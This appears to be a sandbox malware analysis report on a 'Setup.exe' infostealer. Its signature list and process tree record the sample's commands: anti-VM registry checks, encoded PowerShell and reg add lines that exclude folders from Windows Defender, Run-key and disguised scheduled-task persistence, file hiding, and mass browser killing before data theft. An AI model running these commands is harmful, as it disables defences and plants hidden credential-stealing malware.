Overview

overview

9

Static

static

3

Setup.exe

windows10-2004-x64

9

Setup.exe

windows11-ltsc_2024-x64

9

Analysis

  • max time kernel
    106s
  • max time network
    136s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/07/2026, 02:02

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Setup.exe
  • Size 94.2MB
  • Sample260708-cgbssshs8x
  • SHA256 1acec99673c0fb6d93d4407470dc8bea381fb5b736478108b358298bec8a9c0f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
9/10
adwaredefense_evasiondiscoveryexecutionpersistenceprivilege_escalationpyinstallerransomwarespywarestealer

Malware Config

Signatures

  • Enumerates VirtualBox registry keys 2 TTPs 1 IoCs
    defense_evasion
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

    execution
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
    defense_evasion
  • Drops startup file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 30 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 12 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
    defense_evasion
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

    defense_evasion
  • Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs
    defense_evasionprivilege_escalation
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 24 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 48 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 45 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 2 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    1⤵
    • Drops startup file
    • Loads dropped DLL
    • Subvert Trust Controls: Mark-of-the-Web Bypass
    • Checks processor information in registry
    • NTFS ADS
    • Suspicious use of WriteProcessMemory
    PID:4188
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get size /value"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3128
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic diskdrive get size /value
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5652
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /value"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic path Win32_VideoController get CurrentHorizontalResolution,CurrentVerticalResolution /value
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1476
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get manufacturer,model /value"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2876
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic computersystem get manufacturer,model /value
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1696
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" /ve"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:6064
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" /ve
        3⤵
        • Looks for VMWare Tools registry key
        PID:4340
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" /ve"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2524
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" /ve
        3⤵
        • Looks for VirtualBox Guest Additions in registry
        PID:4708
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__" /ve"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5768
      • C:\Windows\system32\reg.exe
        reg query "HKLM\HARDWARE\ACPI\DSDT\VBOX__" /ve
        3⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        PID:5576
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxSF" /ve"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3880
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SYSTEM\ControlSet001\Services\VBoxSF" /ve
        3⤵
        • Enumerates VirtualBox registry keys
        PID:3708
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Wine" /ve"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Windows\system32\reg.exe
        reg query "HKLM\SOFTWARE\Wine" /ve
        3⤵
        • Identifies Wine through registry keys
        PID:1064
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "net session"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4368
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:5212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1832
        • C:\Windows\system32\net.exe
          net session
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1060
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            4⤵
              PID:760
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "WindowsSecurityHealthService" /XML "C:\Users\Admin\AppData\Local\Temp\task_1783476187757.xml" /F"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5468
          • C:\Windows\system32\schtasks.exe
            schtasks /Create /TN "WindowsSecurityHealthService" /XML "C:\Users\Admin\AppData\Local\Temp\task_1783476187757.xml" /F
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2172
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM chrome.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4784
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM chrome.exe
            3⤵
            • Kills process with taskkill
            PID:2084
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM msedge.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5088
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM msedge.exe
            3⤵
            • Kills process with taskkill
            PID:4472
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM brave.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1824
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM brave.exe
            3⤵
            • Kills process with taskkill
            PID:1252
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM firefox.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5788
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM firefox.exe
            3⤵
            • Kills process with taskkill
            PID:3208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM opera.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2628
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM opera.exe
            3⤵
            • Kills process with taskkill
            PID:4832
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM kometa.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5908
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM kometa.exe
            3⤵
            • Kills process with taskkill
            PID:5520
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM orbitum.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5880
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM orbitum.exe
            3⤵
            • Kills process with taskkill
            PID:2708
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM centbrowser.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:6116
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM centbrowser.exe
            3⤵
            • Kills process with taskkill
            PID:5056
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM 7star.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1724
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM 7star.exe
            3⤵
            • Kills process with taskkill
            PID:4252
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM sputnik.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1164
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM sputnik.exe
            3⤵
            • Kills process with taskkill
            PID:4492
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM vivaldi.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1680
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM vivaldi.exe
            3⤵
            • Kills process with taskkill
            PID:4208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM epicprivacybrowser.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4640
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM epicprivacybrowser.exe
            3⤵
            • Kills process with taskkill
            PID:3008
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM uran.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1032
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM uran.exe
            3⤵
            • Kills process with taskkill
            PID:4452
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM yandex.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1580
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM yandex.exe
            3⤵
            • Kills process with taskkill
            PID:3152
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /IM iridium.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1120
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM iridium.exe
            3⤵
            • Kills process with taskkill
            PID:5940
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB0AGUAbQBwAF8AMQA3ADgAMwA0ADcANgAxADgAOQAxADMANwAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2428
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAB0AGUAbQBwAF8AMQA3ADgAMwA0ADcANgAxADgAOQAxADMANwAnACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:5488
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABNAGkAYwByAG8AcwBvAGYAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2116
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABNAGkAYwByAG8AcwBvAGYAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIAJwAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:1700
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -ArgumentList '-NoProfile','-WindowStyle','Hidden','-Command','reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"" /v ""C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft\\RuntimeBroker"" /t REG_DWORD /d 0 /f' -Verb RunAs -Wait -WindowStyle Hidden""
          2⤵
          • Access Token Manipulation: Create Process with Token
          • Suspicious use of WriteProcessMemory
          PID:944
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -ArgumentList '-NoProfile','-WindowStyle','Hidden','-Command','reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"" /v ""C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft\\RuntimeBroker"" /t REG_DWORD /d 0 /f' -Verb RunAs -Wait -WindowStyle Hidden"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:5660
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths /v C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft\\RuntimeBroker /t REG_DWORD /d 0 /f
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3716
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths /v C:\\Users\\Admin\\AppData\\Local\\Temp\\Microsoft\\RuntimeBroker /t REG_DWORD /d 0 /f
                5⤵
                  PID:2952
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -ArgumentList '-NoProfile','-WindowStyle','Hidden','-Command','reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"" /v ""C:\\Users\\Admin\\AppData\\Local\\Temp\\temp_1783476189137"" /t REG_DWORD /d 0 /f' -Verb RunAs -Wait -WindowStyle Hidden""
            2⤵
            • Access Token Manipulation: Create Process with Token
            • Suspicious use of WriteProcessMemory
            PID:1996
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -ArgumentList '-NoProfile','-WindowStyle','Hidden','-Command','reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"" /v ""C:\\Users\\Admin\\AppData\\Local\\Temp\\temp_1783476189137"" /t REG_DWORD /d 0 /f' -Verb RunAs -Wait -WindowStyle Hidden"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:1508
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths /v C:\\Users\\Admin\\AppData\\Local\\Temp\\temp_1783476189137 /t REG_DWORD /d 0 /f
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4360
                • C:\Windows\system32\reg.exe
                  "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths /v C:\\Users\\Admin\\AppData\\Local\\Temp\\temp_1783476189137 /t REG_DWORD /d 0 /f
                  5⤵
                    PID:2732
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:5356
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe"
                3⤵
                • Views/modifies file attributes
                PID:5016
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker""
              2⤵
              • Hide Artifacts: Hidden Files and Directories
              PID:4052
              • C:\Windows\system32\attrib.exe
                attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker"
                3⤵
                • Views/modifies file attributes
                PID:4680
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /d "C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe" /f"
              2⤵
                PID:380
                • C:\Windows\system32\reg.exe
                  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v RuntimeBroker /d "C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe" /f
                  3⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:2460
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "schtasks /Create /TN "Microsoft\Windows\RuntimeBroker" /XML "C:\Users\Admin\AppData\Local\Temp\rt_1783476192675.xml" /F"
                2⤵
                  PID:2004
                  • C:\Windows\system32\schtasks.exe
                    schtasks /Create /TN "Microsoft\Windows\RuntimeBroker" /XML "C:\Users\Admin\AppData\Local\Temp\rt_1783476192675.xml" /F
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1904
                • C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe
                  C:\Users\Admin\AppData\Local\Temp\Microsoft\RuntimeBroker\RuntimeBroker.exe
                  2⤵
                  • Executes dropped EXE
                  PID:5028
                • C:\Users\Admin\AppData\Local\Temp\temp_1783476189137\assets.exe
                  C:\Users\Admin\AppData\Local\Temp\temp_1783476189137\assets.exe
                  2⤵
                  • Executes dropped EXE
                  PID:4540
                  • C:\Users\Admin\AppData\Local\Temp\temp_1783476189137\assets.exe
                    C:\Users\Admin\AppData\Local\Temp\temp_1783476189137\assets.exe
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:2176
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM firefox.exe /T"
                      4⤵
                        PID:1172
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /FI "PID ne 2176" /IM firefox.exe /T
                          5⤵
                          • Kills process with taskkill
                          PID:3948
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM brave.exe /T"
                        4⤵
                          PID:5592
                          • C:\Windows\system32\taskkill.exe
                            taskkill /F /FI "PID ne 2176" /IM brave.exe /T
                            5⤵
                            • Kills process with taskkill
                            PID:4972
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM opera.exe /T"
                          4⤵
                            PID:2072
                            • C:\Windows\system32\taskkill.exe
                              taskkill /F /FI "PID ne 2176" /IM opera.exe /T
                              5⤵
                              • Kills process with taskkill
                              PID:4408
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM 360chrome.exe /T"
                            4⤵
                              PID:2656
                              • C:\Windows\system32\taskkill.exe
                                taskkill /F /FI "PID ne 2176" /IM 360chrome.exe /T
                                5⤵
                                • Kills process with taskkill
                                PID:760
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM chrome.exe /T"
                              4⤵
                                PID:3520
                                • C:\Windows\system32\taskkill.exe
                                  taskkill /F /FI "PID ne 2176" /IM chrome.exe /T
                                  5⤵
                                  • Kills process with taskkill
                                  PID:3860
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM browser.exe /T"
                                4⤵
                                  PID:800
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /F /FI "PID ne 2176" /IM browser.exe /T
                                    5⤵
                                    • Kills process with taskkill
                                    PID:5376
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM qqbrowser.exe /T"
                                  4⤵
                                    PID:3092
                                    • C:\Windows\System32\Conhost.exe
                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                      5⤵
                                        PID:5016
                                      • C:\Windows\system32\taskkill.exe
                                        taskkill /F /FI "PID ne 2176" /IM qqbrowser.exe /T
                                        5⤵
                                        • Kills process with taskkill
                                        PID:4720
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM msedge.exe /T"
                                      4⤵
                                        PID:1992
                                        • C:\Windows\system32\taskkill.exe
                                          taskkill /F /FI "PID ne 2176" /IM msedge.exe /T
                                          5⤵
                                          • Kills process with taskkill
                                          PID:4772
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "taskkill /F /FI "PID ne 2176" /IM vivaldi.exe /T"
                                        4⤵
                                          PID:6092
                                          • C:\Windows\system32\taskkill.exe
                                            taskkill /F /FI "PID ne 2176" /IM vivaldi.exe /T
                                            5⤵
                                            • Kills process with taskkill
                                            PID:1928
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name""
                                          4⤵
                                            PID:4856
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name"
                                              5⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:5976
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name""
                                            4⤵
                                              PID:1108
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name"
                                                5⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:3436
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name""
                                              4⤵
                                                PID:1576
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -NoProfile -Command "(Get-CimInstance Win32_VideoController).Name"
                                                  5⤵
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:1744
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name""
                                                4⤵
                                                  PID:3060
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -NoProfile -Command "(Get-CimInstance Win32_Processor).Name"
                                                    5⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:4508
                                          • C:\Windows\system32\sihost.exe
                                            sihost.exe
                                            1⤵
                                            • Suspicious use of FindShellTrayWindow
                                            PID:2492
                                            • C:\Windows\explorer.exe
                                              explorer.exe /LOADSAVEDWINDOWS
                                              2⤵
                                              • Boot or Logon Autostart Execution: Active Setup
                                              • Enumerates connected drives
                                              • Checks SCSI registry key(s)
                                              • Modifies Internet Explorer settings
                                              • Modifies registry class
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of FindShellTrayWindow
                                              • Suspicious use of SendNotifyMessage
                                              • Suspicious use of SetWindowsHookEx
                                              PID:2920
                                          • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
